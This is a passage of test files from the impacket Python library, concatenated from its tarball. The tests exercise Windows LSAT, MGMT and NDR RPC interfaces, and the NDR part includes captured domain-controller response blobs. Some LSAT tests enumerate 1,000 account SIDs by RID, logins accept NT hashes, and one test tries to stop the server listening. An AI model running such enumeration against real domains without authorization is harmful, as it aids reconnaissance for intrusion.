sid1['Sid'].fromCanonical(domainSid + '-500')
sid2= lsat.LSAPR_SID_INFORMATION()
sid2['Sid'].fromCanonical(domainSid + '-501')
request['SidEnumBuffer']['Entries'] = 2
request['SidEnumBuffer']['SidInfo'].append(sid1)
request['SidEnumBuffer']['SidInfo'].append(sid2)
request['TranslatedNames']['Names'] = NULL
request['LookupLevel'] = lsat.LSAP_LOOKUP_LEVEL.LsapLookupWksta
request['LookupOptions'] = 0x00000000
request['ClientRevision'] = 0x00000001
try:
resp = dce.request(request)
resp.dump()
except Exception, e:
# The RPC server MUST ensure that the RPC_C_AUTHN_NETLOGON security provider
# (as specified in [MS-RPCE] section 2.2.1.1.7) and at least
# RPC_C_AUTHN_LEVEL_PKT_INTEGRITY authentication level (as specified in
# [MS-RPCE] section 2.2.1.1.8) are used in this RPC message.
# Otherwise, the RPC server MUST return STATUS_ACCESS_DENIED.
if str(e).find('rpc_s_access_denied') < 0:
raise
def test_LsarLookupSids2(self):
dce, rpctransport, policyHandle = self.connect()
request = lsat.LsarLookupNames()
request['PolicyHandle'] = policyHandle
request['Count'] = 1
name1 = RPC_UNICODE_STRING()
name1['Data'] = 'Administrator'
request['Names'].append(name1)
request['TranslatedSids']['Sids'] = NULL
request['LookupLevel'] = lsat.LSAP_LOOKUP_LEVEL.LsapLookupWksta
resp = dce.request(request)
resp.dump()
domainSid = resp['ReferencedDomains']['Domains'][0]['Sid'].formatCanonical()
request = lsat.LsarLookupSids2()
request['PolicyHandle'] = policyHandle
sid1 = lsat.LSAPR_SID_INFORMATION()
sid1['Sid'].fromCanonical(domainSid + '-500')
sid2= lsat.LSAPR_SID_INFORMATION()
sid2['Sid'].fromCanonical(domainSid + '-501')
request['SidEnumBuffer']['Entries'] = 2
request['SidEnumBuffer']['SidInfo'].append(sid1)
request['SidEnumBuffer']['SidInfo'].append(sid2)
request['TranslatedNames']['Names'] = NULL
request['LookupLevel'] = lsat.LSAP_LOOKUP_LEVEL.LsapLookupWksta
request['LookupOptions'] = 0x00000000
request['ClientRevision'] = 0x00000001
resp = dce.request(request)
resp.dump()
def test_hLsarLookupSids2(self):
dce, rpctransport, policyHandle = self.connect()
resp = lsat.hLsarLookupNames(dce, policyHandle, ('Administrator',))
resp.dump()
domainSid = resp['ReferencedDomains']['Domains'][0]['Sid'].formatCanonical()
sids = list()
sids.append(domainSid + '-500')
sids.append(domainSid + '-501')
resp = lsat.hLsarLookupSids2(dce, policyHandle, sids)
resp.dump()
def test_LsarLookupSids(self):
dce, rpctransport, policyHandle = self.connect()
request = lsat.LsarLookupNames()
request['PolicyHandle'] = policyHandle
request['Count'] = 1
name1 = RPC_UNICODE_STRING()
name1['Data'] = 'Administrator'
request['Names'].append(name1)
request['TranslatedSids']['Sids'] = NULL
request['LookupLevel'] = lsat.LSAP_LOOKUP_LEVEL.LsapLookupWksta
resp = dce.request(request)
resp.dump()
domainSid = resp['ReferencedDomains']['Domains'][0]['Sid'].formatCanonical()
request = lsat.LsarLookupSids()
request['PolicyHandle'] = policyHandle
for i in range(1000):
sid = lsat.LSAPR_SID_INFORMATION()
sid['Sid'].fromCanonical(domainSid + '-%d' % (500+i))
request['SidEnumBuffer']['SidInfo'].append(sid)
request['SidEnumBuffer']['Entries'] += 1
request['TranslatedNames']['Names'] = NULL
request['LookupLevel'] = lsat.LSAP_LOOKUP_LEVEL.LsapLookupWksta
try:
resp = dce.request(request)
resp.dump()
except Exception, e:
if str(e).find('STATUS_SOME_NOT_MAPPED') < 0:
raise
else:
resp = e.get_packet()
resp.dump()
def test_hLsarLookupSids(self):
dce, rpctransport, policyHandle = self.connect()
resp = lsat.hLsarLookupNames(dce, policyHandle, ('Administrator',))
resp.dump()
domainSid = resp['ReferencedDomains']['Domains'][0]['Sid'].formatCanonical()
sids = list()
for i in range(1000):
sids.append(domainSid + '-%d' % (500+i))
try:
resp = lsat.hLsarLookupSids(dce, policyHandle, sids )
resp.dump()
except Exception, e:
if str(e).find('STATUS_SOME_NOT_MAPPED') < 0:
raise
else:
resp = e.get_packet()
resp.dump()
class SMBTransport(LSATTests):
def setUp(self):
LSATTests.setUp(self)
configFile = ConfigParser.ConfigParser()
configFile.read('dcetests.cfg')
self.username = configFile.get('SMBTransport', 'username')
self.domain = configFile.get('SMBTransport', 'domain')
self.serverName = configFile.get('SMBTransport', 'servername')
self.password = configFile.get('SMBTransport', 'password')
self.machine = configFile.get('SMBTransport', 'machine')
self.hashes = configFile.get('SMBTransport', 'hashes')
self.stringBinding = r'ncacn_np:%s[\PIPE\lsarpc]' % self.machine
self.ts = ('8a885d04-1ceb-11c9-9fe8-08002b104860', '2.0')
class SMBTransport64(LSATTests):
def setUp(self):
LSATTests.setUp(self)
configFile = ConfigParser.ConfigParser()
configFile.read('dcetests.cfg')
self.username = configFile.get('SMBTransport', 'username')
self.domain = configFile.get('SMBTransport', 'domain')
self.serverName = configFile.get('SMBTransport', 'servername')
self.password = configFile.get('SMBTransport', 'password')
self.machine = configFile.get('SMBTransport', 'machine')
self.hashes = configFile.get('SMBTransport', 'hashes')
self.stringBinding = r'ncacn_np:%s[\PIPE\lsarpc]' % self.machine
self.ts = ('71710533-BEBA-4937-8319-B5DBEF9CCC36', '1.0')
# Process command-line arguments.
if __name__ == '__main__':
import sys
if len(sys.argv) > 1:
testcase = sys.argv[1]
suite = unittest.TestLoader().loadTestsFromTestCase(globals()[testcase])
else:
suite = unittest.TestLoader().loadTestsFromTestCase(SMBTransport)
suite.addTests(unittest.TestLoader().loadTestsFromTestCase(SMBTransport64))
unittest.TextTestRunner(verbosity=1).run(suite)
impacket-0.9.15/impacket/testcases/SMB_RPC/test_mgmt.py 0000600 0000765 0000000 00000015033 12734531507 022750 0 ustar beto wheel 0000000 0000000 ###############################################################################
# Tested so far:
#
# Not yet:
#
# Shouldn't dump errors against a win7
#
################################################################################
import unittest
import ConfigParser
from impacket.dcerpc.v5 import transport
from impacket.dcerpc.v5 import mgmt
class MGMTTests(unittest.TestCase):
def connect(self):
rpctransport = transport.DCERPCTransportFactory(self.stringBinding)
if len(self.hashes) > 0:
lmhash, nthash = self.hashes.split(':')
else:
lmhash = ''
nthash = ''
if hasattr(rpctransport, 'set_credentials'):
# This method exists only for selected protocol sequences.
rpctransport.set_credentials(self.username,self.password, self.domain, lmhash, nthash)
dce = rpctransport.get_dce_rpc()
dce.connect()
dce.bind(mgmt.MSRPC_UUID_MGMT, transfer_syntax = self.ts)
return dce, rpctransport
def test_inq_if_ids(self):
dce, transport = self.connect()
request = mgmt.inq_if_ids()
resp = dce.request(request)
resp.dump()
#for i in range(resp['if_id_vector']['count']):
# print bin_to_uuidtup(resp['if_id_vector']['if_id'][i]['Data'].getData())
# print
def test_hinq_if_ids(self):
dce, transport = self.connect()
resp = mgmt.hinq_if_ids(dce)
resp.dump()
def test_inq_stats(self):
dce, transport = self.connect()
request = mgmt.inq_stats()
request['count'] = 40
resp = dce.request(request)
resp.dump()
def test_hinq_stats(self):
dce, transport = self.connect()
resp = mgmt.hinq_stats(dce)
resp.dump()
def test_is_server_listening(self):
dce, transport = self.connect()
request = mgmt.is_server_listening()
resp = dce.request(request, checkError=False)
resp.dump()
def test_his_server_listening(self):
dce, transport = self.connect()
resp = mgmt.his_server_listening(dce)
resp.dump()
def test_stop_server_listening(self):
dce, transport = self.connect()
request = mgmt.stop_server_listening()
try:
resp = dce.request(request)
resp.dump()
except Exception, e:
if str(e).find('rpc_s_access_denied') < 0:
raise
def test_hstop_server_listening(self):
dce, transport = self.connect()
try:
resp = mgmt.hstop_server_listening(dce)
resp.dump()
except Exception, e:
if str(e).find('rpc_s_access_denied') < 0:
raise
def test_inq_princ_name(self):
dce, transport = self.connect()
request = mgmt.inq_princ_name()
request['authn_proto'] = 0
request['princ_name_size'] = 32
resp = dce.request(request, checkError=False)
resp.dump()
def test_his_server_listening(self):
dce, transport = self.connect()
resp = mgmt.hinq_princ_name(dce)
resp.dump()
class SMBTransport(MGMTTests):
def setUp(self):
MGMTTests.setUp(self)
configFile = ConfigParser.ConfigParser()
configFile.read('dcetests.cfg')
self.username = configFile.get('SMBTransport', 'username')
self.domain = configFile.get('SMBTransport', 'domain')
self.serverName = configFile.get('SMBTransport', 'servername')
self.password = configFile.get('SMBTransport', 'password')
self.machine = configFile.get('SMBTransport', 'machine')
self.hashes = configFile.get('SMBTransport', 'hashes')
self.stringBinding = r'ncacn_np:%s[\pipe\epmapper]' % self.machine
self.ts = ('8a885d04-1ceb-11c9-9fe8-08002b104860', '2.0')
class TCPTransport(MGMTTests):
def setUp(self):
MGMTTests.setUp(self)
configFile = ConfigParser.ConfigParser()
configFile.read('dcetests.cfg')
self.username = configFile.get('TCPTransport', 'username')
self.domain = configFile.get('TCPTransport', 'domain')
self.serverName = configFile.get('TCPTransport', 'servername')
self.password = configFile.get('TCPTransport', 'password')
self.machine = configFile.get('TCPTransport', 'machine')
self.hashes = configFile.get('TCPTransport', 'hashes')
self.stringBinding = r'ncacn_ip_tcp:%s[135]' % self.machine
self.ts = ('8a885d04-1ceb-11c9-9fe8-08002b104860', '2.0')
class SMBTransport64(MGMTTests):
def setUp(self):
MGMTTests.setUp(self)
configFile = ConfigParser.ConfigParser()
configFile.read('dcetests.cfg')
self.username = configFile.get('SMBTransport', 'username')
self.domain = configFile.get('SMBTransport', 'domain')
self.serverName = configFile.get('SMBTransport', 'servername')
self.password = configFile.get('SMBTransport', 'password')
self.machine = configFile.get('SMBTransport', 'machine')
self.hashes = configFile.get('SMBTransport', 'hashes')
self.stringBinding = r'ncacn_np:%s[\pipe\epmapper]' % self.machine
self.ts = ('71710533-BEBA-4937-8319-B5DBEF9CCC36', '1.0')
class TCPTransport64(MGMTTests):
def setUp(self):
MGMTTests.setUp(self)
configFile = ConfigParser.ConfigParser()
configFile.read('dcetests.cfg')
self.username = configFile.get('TCPTransport', 'username')
self.domain = configFile.get('TCPTransport', 'domain')
self.serverName = configFile.get('TCPTransport', 'servername')
self.password = configFile.get('TCPTransport', 'password')
self.machine = configFile.get('TCPTransport', 'machine')
self.hashes = configFile.get('TCPTransport', 'hashes')
self.stringBinding = r'ncacn_ip_tcp:%s[135]' % self.machine
self.ts = ('71710533-BEBA-4937-8319-B5DBEF9CCC36', '1.0')
# Process command-line arguments.
if __name__ == '__main__':
import sys
if len(sys.argv) > 1:
testcase = sys.argv[1]
suite = unittest.TestLoader().loadTestsFromTestCase(globals()[testcase])
else:
#suite = unittest.TestLoader().loadTestsFromTestCase(SMBTransport64)
suite = unittest.TestLoader().loadTestsFromTestCase(SMBTransport)
suite.addTests(unittest.TestLoader().loadTestsFromTestCase(TCPTransport))
suite.addTests(unittest.TestLoader().loadTestsFromTestCase(SMBTransport64))
suite.addTests(unittest.TestLoader().loadTestsFromTestCase(TCPTransport64))
unittest.TextTestRunner(verbosity=1).run(suite)
impacket-0.9.15/impacket/testcases/SMB_RPC/test_ndr.py 0000600 0000765 0000000 00000406345 12734531507 022601 0 ustar beto wheel 0000000 0000000 from impacket.dcerpc.v5.samr import SamrLookupNamesInDomainResponse, SamrLookupIdsInDomain
from impacket.dcerpc.v5.drsuapi import DRSCrackNamesResponse,DRSDomainControllerInfoResponse,DRSGetNCChangesResponse
from impacket.winregistry import hexdump
from impacket.dcerpc.v5.lsat import LsarGetUserNameResponse, LsarLookupSids2Response
from impacket.dcerpc.v5.rrp import BaseRegEnumValueResponse, BaseRegGetKeySecurityResponse, BaseRegQueryMultipleValues, RVALENT, REG_SZ, BaseRegQueryValueResponse
from impacket.dcerpc.v5.scmr import RCreateServiceWResponse
from impacket.dcerpc.v5.dcomrt import ComplexPing
from impacket.dcerpc.v5 import dtypes
from impacket.dcerpc.v5.dtypes import NULL
from impacket.dcerpc.v5 import srvs
from impacket.dcerpc.v5 import epm
from impacket.dcerpc.v5.epm import ept_lookupResponse
from impacket.uuid import string_to_bin, uuidtup_to_bin
import unittest
class NDRTests(unittest.TestCase):
NDR64Syntax = uuidtup_to_bin(('71710533-BEBA-4937-8319-B5DBEF9CCC36', '1.0'))
def test_1(self):
#
crackNamesResponse = '\x01\x00\x00\x00\x01\x00\x00\x00\x00\x00\x02\x00\x05\x00\x00\x00\x04\x00\x02\x00\x05\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0c\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x10\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x14\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x18\x00\x02\x00q\x00\x00\x00\x00\x00\x00\x00q\x00\x00\x00C\x00N\x00=\x00N\x00T\x00D\x00S\x00 \x00S\x00e\x00t\x00t\x00i\x00n\x00g\x00s\x00,\x00C\x00N\x00=\x00F\x00R\x00E\x00E\x00F\x00L\x00Y\x00-\x00D\x00C\x00,\x00C\x00N\x00=\x00S\x00e\x00r\x00v\x00e\x00r\x00s\x00,\x00C\x00N\x00=\x00D\x00e\x00f\x00a\x00u\x00l\x00t\x00-\x00F\x00i\x00r\x00s\x00t\x00-\x00S\x00i\x00t\x00e\x00-\x00N\x00a\x00m\x00e\x00,\x00C\x00N\x00=\x00S\x00i\x00t\x00e\x00s\x00,\x00C\x00N\x00=\x00C\x00o\x00n\x00f\x00i\x00g\x00u\x00r\x00a\x00t\x00i\x00o\x00n\x00,\x00D\x00C\x00=\x00F\x00R\x00E\x00E\x00F\x00L\x00Y\x00,\x00D\x00C\x00=\x00N\x00E\x00T\x00\x00\x00\xab\xabq\x00\x00\x00\x00\x00\x00\x00q\x00\x00\x00C\x00N\x00=\x00N\x00T\x00D\x00S\x00 \x00S\x00e\x00t\x00t\x00i\x00n\x00g\x00s\x00,\x00C\x00N\x00=\x00F\x00R\x00E\x00E\x00F\x00L\x00Y\x00-\x00D\x00C\x00,\x00C\x00N\x00=\x00S\x00e\x00r\x00v\x00e\x00r\x00s\x00,\x00C\x00N\x00=\x00D\x00e\x00f\x00a\x00u\x00l\x00t\x00-\x00F\x00i\x00r\x00s\x00t\x00-\x00S\x00i\x00t\x00e\x00-\x00N\x00a\x00m\x00e\x00,\x00C\x00N\x00=\x00S\x00i\x00t\x00e\x00s\x00,\x00C\x00N\x00=\x00C\x00o\x00n\x00f\x00i\x00g\x00u\x00r\x00a\x00t\x00i\x00o\x00n\x00,\x00D\x00C\x00=\x00F\x00R\x00E\x00E\x00F\x00L\x00Y\x00,\x00D\x00C\x00=\x00N\x00E\x00T\x00\x00\x00\xab\xabq\x00\x00\x00\x00\x00\x00\x00q\x00\x00\x00C\x00N\x00=\x00N\x00T\x00D\x00S\x00 \x00S\x00e\x00t\x00t\x00i\x00n\x00g\x00s\x00,\x00C\x00N\x00=\x00F\x00R\x00E\x00E\x00F\x00L\x00Y\x00-\x00D\x00C\x00,\x00C\x00N\x00=\x00S\x00e\x00r\x00v\x00e\x00r\x00s\x00,\x00C\x00N\x00=\x00D\x00e\x00f\x00a\x00u\x00l\x00t\x00-\x00F\x00i\x00r\x00s\x00t\x00-\x00S\x00i\x00t\x00e\x00-\x00N\x00a\x00m\x00e\x00,\x00C\x00N\x00=\x00S\x00i\x00t\x00e\x00s\x00,\x00C\x00N\x00=\x00C\x00o\x00n\x00f\x00i\x00g\x00u\x00r\x00a\x00t\x00i\x00o\x00n\x00,\x00D\x00C\x00=\x00F\x00R\x00E\x00E\x00F\x00L\x00Y\x00,\x00D\x00C\x00=\x00N\x00E\x00T\x00\x00\x00\xab\xabq\x00\x00\x00\x00\x00\x00\x00q\x00\x00\x00C\x00N\x00=\x00N\x00T\x00D\x00S\x00 \x00S\x00e\x00t\x00t\x00i\x00n\x00g\x00s\x00,\x00C\x00N\x00=\x00F\x00R\x00E\x00E\x00F\x00L\x00Y\x00-\x00D\x00C\x00,\x00C\x00N\x00=\x00S\x00e\x00r\x00v\x00e\x00r\x00s\x00,\x00C\x00N\x00=\x00D\x00e\x00f\x00a\x00u\x00l\x00t\x00-\x00F\x00i\x00r\x00s\x00t\x00-\x00S\x00i\x00t\x00e\x00-\x00N\x00a\x00m\x00e\x00,\x00C\x00N\x00=\x00S\x00i\x00t\x00e\x00s\x00,\x00C\x00N\x00=\x00C\x00o\x00n\x00f\x00i\x00g\x00u\x00r\x00a\x00t\x00i\x00o\x00n\x00,\x00D\x00C\x00=\x00F\x00R\x00E\x00E\x00F\x00L\x00Y\x00,\x00D\x00C\x00=\x00N\x00E\x00T\x00\x00\x00\xab\xabq\x00\x00\x00\x00\x00\x00\x00q\x00\x00\x00C\x00N\x00=\x00N\x00T\x00D\x00S\x00 \x00S\x00e\x00t\x00t\x00i\x00n\x00g\x00s\x00,\x00C\x00N\x00=\x00F\x00R\x00E\x00E\x00F\x00L\x00Y\x00-\x00D\x00C\x00,\x00C\x00N\x00=\x00S\x00e\x00r\x00v\x00e\x00r\x00s\x00,\x00C\x00N\x00=\x00D\x00e\x00f\x00a\x00u\x00l\x00t\x00-\x00F\x00i\x00r\x00s\x00t\x00-\x00S\x00i\x00t\x00e\x00-\x00N\x00a\x00m\x00e\x00,\x00C\x00N\x00=\x00S\x00i\x00t\x00e\x00s\x00,\x00C\x00N\x00=\x00C\x00o\x00n\x00f\x00i\x00g\x00u\x00r\x00a\x00t\x00i\x00o\x00n\x00,\x00D\x00C\x00=\x00F\x00R\x00E\x00E\x00F\x00L\x00Y\x00,\x00D\x00C\x00=\x00N\x00E\x00T\x00\x00\x00\xbf\xbf\x00\x00\x00\x00'
crackNames = DRSCrackNamesResponse()
crackNames.fromString(crackNamesResponse)
crackNames.dump()
output = crackNames.getData()
print "ORIG: %d, REPACKED: %d" % (len(crackNamesResponse), len(output))
print "="*80
print "ORIG"
#hexdump(crackNamesResponse)
#hexdump(output)
self.assertTrue(crackNamesResponse == output)
#print repr(output)
def test_2(self):
#
domainControllerInfoResponse = '\x02\x00\x00\x00\x02\x00\x00\x00\x01\x00\x00\x00\x00\x00\x02\x00\x01\x00\x00\x00\x04\x00\x02\x00\x08\x00\x02\x00\x0c\x00\x02\x00\x10\x00\x02\x00\x14\x00\x02\x00\x18\x00\x02\x00\x1c\x00\x02\x00\x01\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\xe6)\x8fL>\xfdXK\x88\xf26\xc1s\x08\xa2\xa1EG\x1c\xc0r\x17$H\xb6Y:\x1b\x10\x9dV\x0bz|z\x17\x08\xe4U@\xae\xb8\xcc\xc4<\xa4\xd3\x18\xd7\xba[\xe8#\t\xcbA\x91\x1e6\x91\xd2\x01H\x15\x0b\x00\x00\x00\x00\x00\x00\x00\x0b\x00\x00\x00F\x00R\x00E\x00E\x00F\x00L\x00Y\x00-\x00D\x00C\x00\x00\x00\xab\xab\x17\x00\x00\x00\x00\x00\x00\x00\x17\x00\x00\x00F\x00R\x00E\x00E\x00F\x00L\x00Y\x00-\x00D\x00C\x00.\x00F\x00R\x00E\x00E\x00F\x00L\x00Y\x00.\x00N\x00E\x00T\x00\x00\x00\xab\xab\x18\x00\x00\x00\x00\x00\x00\x00\x18\x00\x00\x00D\x00e\x00f\x00a\x00u\x00l\x00t\x00-\x00F\x00i\x00r\x00s\x00t\x00-\x00S\x00i\x00t\x00e\x00-\x00N\x00a\x00m\x00e\x00\x00\x00G\x00\x00\x00\x00\x00\x00\x00G\x00\x00\x00C\x00N\x00=\x00D\x00e\x00f\x00a\x00u\x00l\x00t\x00-\x00F\x00i\x00r\x00s\x00t\x00-\x00S\x00i\x00t\x00e\x00-\x00N\x00a\x00m\x00e\x00,\x00C\x00N\x00=\x00S\x00i\x00t\x00e\x00s\x00,\x00C\x00N\x00=\x00C\x00o\x00n\x00f\x00i\x00g\x00u\x00r\x00a\x00t\x00i\x00o\x00n\x00,\x00D\x00C\x00=\x00F\x00R\x00E\x00E\x00F\x00L\x00Y\x00,\x00D\x00C\x00=\x00N\x00E\x00T\x00\x00\x00\xab\xab6\x00\x00\x00\x00\x00\x00\x006\x00\x00\x00C\x00N\x00=\x00F\x00R\x00E\x00E\x00F\x00L\x00Y\x00-\x00D\x00C\x00,\x00O\x00U\x00=\x00D\x00o\x00m\x00a\x00i\x00n\x00 \x00C\x00o\x00n\x00t\x00r\x00o\x00l\x00l\x00e\x00r\x00s\x00,\x00D\x00C\x00=\x00F\x00R\x00E\x00E\x00F\x00L\x00Y\x00,\x00D\x00C\x00=\x00N\x00E\x00T\x00\x00\x00`\x00\x00\x00\x00\x00\x00\x00`\x00\x00\x00C\x00N\x00=\x00F\x00R\x00E\x00E\x00F\x00L\x00Y\x00-\x00D\x00C\x00,\x00C\x00N\x00=\x00S\x00e\x00r\x00v\x00e\x00r\x00s\x00,\x00C\x00N\x00=\x00D\x00e\x00f\x00a\x00u\x00l\x00t\x00-\x00F\x00i\x00r\x00s\x00t\x00-\x00S\x00i\x00t\x00e\x00-\x00N\x00a\x00m\x00e\x00,\x00C\x00N\x00=\x00S\x00i\x00t\x00e\x00s\x00,\x00C\x00N\x00=\x00C\x00o\x00n\x00f\x00i\x00g\x00u\x00r\x00a\x00t\x00i\x00o\x00n\x00,\x00D\x00C\x00=\x00F\x00R\x00E\x00E\x00F\x00L\x00Y\x00,\x00D\x00C\x00=\x00N\x00E\x00T\x00\x00\x00q\x00\x00\x00\x00\x00\x00\x00q\x00\x00\x00C\x00N\x00=\x00N\x00T\x00D\x00S\x00 \x00S\x00e\x00t\x00t\x00i\x00n\x00g\x00s\x00,\x00C\x00N\x00=\x00F\x00R\x00E\x00E\x00F\x00L\x00Y\x00-\x00D\x00C\x00,\x00C\x00N\x00=\x00S\x00e\x00r\x00v\x00e\x00r\x00s\x00,\x00C\x00N\x00=\x00D\x00e\x00f\x00a\x00u\x00l\x00t\x00-\x00F\x00i\x00r\x00s\x00t\x00-\x00S\x00i\x00t\x00e\x00-\x00N\x00a\x00m\x00e\x00,\x00C\x00N\x00=\x00S\x00i\x00t\x00e\x00s\x00,\x00C\x00N\x00=\x00C\x00o\x00n\x00f\x00i\x00g\x00u\x00r\x00a\x00t\x00i\x00o\x00n\x00,\x00D\x00C\x00=\x00F\x00R\x00E\x00E\x00F\x00L\x00Y\x00,\x00D\x00C\x00=\x00N\x00E\x00T\x00\x00\x00\xbf\xbf\x00\x00\x00\x00'
domainController = DRSDomainControllerInfoResponse()
domainController.fromString(domainControllerInfoResponse)
domainController.dump()
output = domainController.getData()
print "ORIG: %d, REPACKED: %d" % (len(domainControllerInfoResponse), len(output))
print "="*80
print "ORIG"
hexdump(domainControllerInfoResponse)
hexdump(output)
#print "ORIG: %d, REPACKED: %d" % (len(domainControllerInfoResponse), len(output))
self.assertTrue(domainControllerInfoResponse == output)
def test_3(self):
#
getNCChangesResponseOld = '\x06\x00\x00\x00\x06\x00\x00\x00\xd7\xba[\xe8#\t\xcbA\x91\x1e6\x91\xd2\x01H\x15\xd7\xba[\xe8#\t\xcbA\x91\x1e6\x91\xd2\x01H\x15\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\'\x00\x00\x00\x04\x00\x02\x00\x01\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\xa4\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x12\x00\x00\x00\\\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x11\x00\x00\x00D\x00C\x00=\x00F\x00R\x00E\x00E\x00F\x00L\x00Y\x00,\x00D\x00C\x00=\x00N\x00E\x00T\x00\x00\x00\'\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x08\x00\x02\x00\x01\x00\x00\x00\x02\x00\x00\x00\x0c\x00\x02\x00\x02\x00\x00\x00\x08\x00\x00\x00\x10\x00\x02\x00\x03\x00\x00\x00\x08\x00\x00\x00\x14\x00\x02\x00\x04\x00\x00\x00\x08\x00\x00\x00\x18\x00\x02\x00\x05\x00\x00\x00\x08\x00\x00\x00\x1c\x00\x02\x00\x06\x00\x00\x00\x08\x00\x00\x00 \x00\x02\x00\x07\x00\x00\x00\x08\x00\x00\x00$\x00\x02\x00\x08\x00\x00\x00\x02\x00\x00\x00(\x00\x02\x00\t\x00\x00\x00\x08\x00\x00\x00,\x00\x02\x00\n\x00\x00\x00\x08\x00\x00\x000\x00\x02\x00\x13\x00\x00\x00\x08\x00\x00\x004\x00\x02\x00\x14\x00\x00\x00\x08\x00\x00\x008\x00\x02\x00\x15\x00\x00\x00\t\x00\x00\x00<\x00\x02\x00\x16\x00\x00\x00\t\x00\x00\x00@\x00\x02\x00\x17\x00\x00\x00\n\x00\x00\x00D\x00\x02\x00\x18\x00\x00\x00\x02\x00\x00\x00H\x00\x02\x00\x19\x00\x00\x00\x02\x00\x00\x00L\x00\x02\x00\x1a\x00\x00\x00\x02\x00\x00\x00P\x00\x02\x00\x0b\x00\x00\x00\n\x00\x00\x00T\x00\x02\x00\x0c\x00\x00\x00\t\x00\x00\x00X\x00\x02\x00\r\x00\x00\x00\n\x00\x00\x00\\\x00\x02\x00\x0e\x00\x00\x00\t\x00\x00\x00`\x00\x02\x00\x0f\x00\x00\x00\n\x00\x00\x00d\x00\x02\x00\x10\x00\x00\x00\t\x00\x00\x00h\x00\x02\x00\x11\x00\x00\x00\t\x00\x00\x00l\x00\x02\x00\x12\x00\x00\x00\n\x00\x00\x00p\x00\x02\x00\x1b\x00\x00\x00\t\x00\x00\x00t\x00\x02\x00\x1c\x00\x00\x00\t\x00\x00\x00x\x00\x02\x00\x1d\x00\x00\x00\x08\x00\x00\x00|\x00\x02\x00\x1e\x00\x00\x00\x08\x00\x00\x00\x80\x00\x02\x00\x1f\x00\x00\x00\t\x00\x00\x00\x84\x00\x02\x00 \x00\x00\x00\t\x00\x00\x00\x88\x00\x02\x00!\x00\x00\x00\n\x00\x00\x00\x8c\x00\x02\x00"\x00\x00\x00\n\x00\x00\x00\x90\x00\x02\x00#\x00\x00\x00\n\x00\x00\x00\x94\x00\x02\x00$\x00\x00\x00\n\x00\x00\x00\x98\x00\x02\x00%\x00\x00\x00\x06\x00\x00\x00\x9c\x00\x02\x00&\x00\x00\x00\x06\x00\x00\x00\xa0\x00\x02\x00\x02\x00\x00\x00U\x04\x00\x00\x02\x00\x00\x00U\x06\x00\x00\x08\x00\x00\x00*\x86H\x86\xf7\x14\x01\x02\x08\x00\x00\x00*\x86H\x86\xf7\x14\x01\x03\x08\x00\x00\x00`\x86H\x01e\x02\x02\x01\x08\x00\x00\x00`\x86H\x01e\x02\x02\x03\x08\x00\x00\x00`\x86H\x01e\x02\x01\x05\x08\x00\x00\x00`\x86H\x01e\x02\x01\x04\x02\x00\x00\x00U\x05\x00\x00\x08\x00\x00\x00*\x86H\x86\xf7\x14\x01\x04\x08\x00\x00\x00*\x86H\x86\xf7\x14\x01\x05\x08\x00\x00\x00\t\x92&\x89\x93\xf2,d\x08\x00\x00\x00`\x86H\x01\x86\xf8B\x03\t\x00\x00\x00\t\x92&\x89\x93\xf2,d\x01\x00\x00\x00\t\x00\x00\x00`\x86H\x01\x86\xf8B\x03\x01\x00\x00\x00\n\x00\x00\x00*\x86H\x86\xf7\x14\x01\x05\xb6X\x00\x00\x02\x00\x00\x00U\x15\x00\x00\x02\x00\x00\x00U\x12\x00\x00\x02\x00\x00\x00U\x14\x00\x00\n\x00\x00\x00*\x86H\x86\xf7\x14\x01\x04\x82\x04\x00\x00\t\x00\x00\x00*\x86H\x86\xf7\x14\x01\x058\x00\x00\x00\n\x00\x00\x00*\x86H\x86\xf7\x14\x01\x04\x82\x06\x00\x00\t\x00\x00\x00*\x86H\x86\xf7\x14\x01\x059\x00\x00\x00\n\x00\x00\x00*\x86H\x86\xf7\x14\x01\x04\x82\x07\x00\x00\t\x00\x00\x00*\x86H\x86\xf7\x14\x01\x05:\x00\x00\x00\t\x00\x00\x00*\x86H\x86\xf7\x14\x01\x05I\x00\x00\x00\n\x00\x00\x00*\x86H\x86\xf7\x14\x01\x04\x821\x00\x00\t\x00\x00\x00+\x06\x01\x04\x01\x8b:ew\x00\x00\x00\t\x00\x00\x00`\x86H\x01\x86\xf8B\x03\x02\x00\x00\x00\x08\x00\x00\x00+\x06\x01\x04\x01\x81z\x01\x08\x00\x00\x00*\x86H\x86\xf7\r\x01\t\t\x00\x00\x00\t\x92&\x89\x93\xf2,d\x04\x00\x00\x00\t\x00\x00\x00*\x86H\x86\xf7\x14\x01\x06\x17\x00\x00\x00\n\x00\x00\x00*\x86H\x86\xf7\x14\x01\x06\x12\x01\x00\x00\n\x00\x00\x00*\x86H\x86\xf7\x14\x01\x06\x12\x02\x00\x00\n\x00\x00\x00*\x86H\x86\xf7\x14\x01\x06\r\x03\x00\x00\n\x00\x00\x00*\x86H\x86\xf7\x14\x01\x06\r\x04\x00\x00\x06\x00\x00\x00+\x06\x01\x01\x01\x01\x00\x00\x06\x00\x00\x00+\x06\x01\x01\x01\x02\x00\x00\x00\x00\x00\x00\xa8\x00\x02\x00\x01\x00\x00\x00\x02\x00\x00\x00\xac\x00\x02\x00\x01\x00\x00\x00\x00\x00\x00\x00\xc0\x00\x02\x00\x12\x00\x00\x00\\\x00\x00\x00\x18\x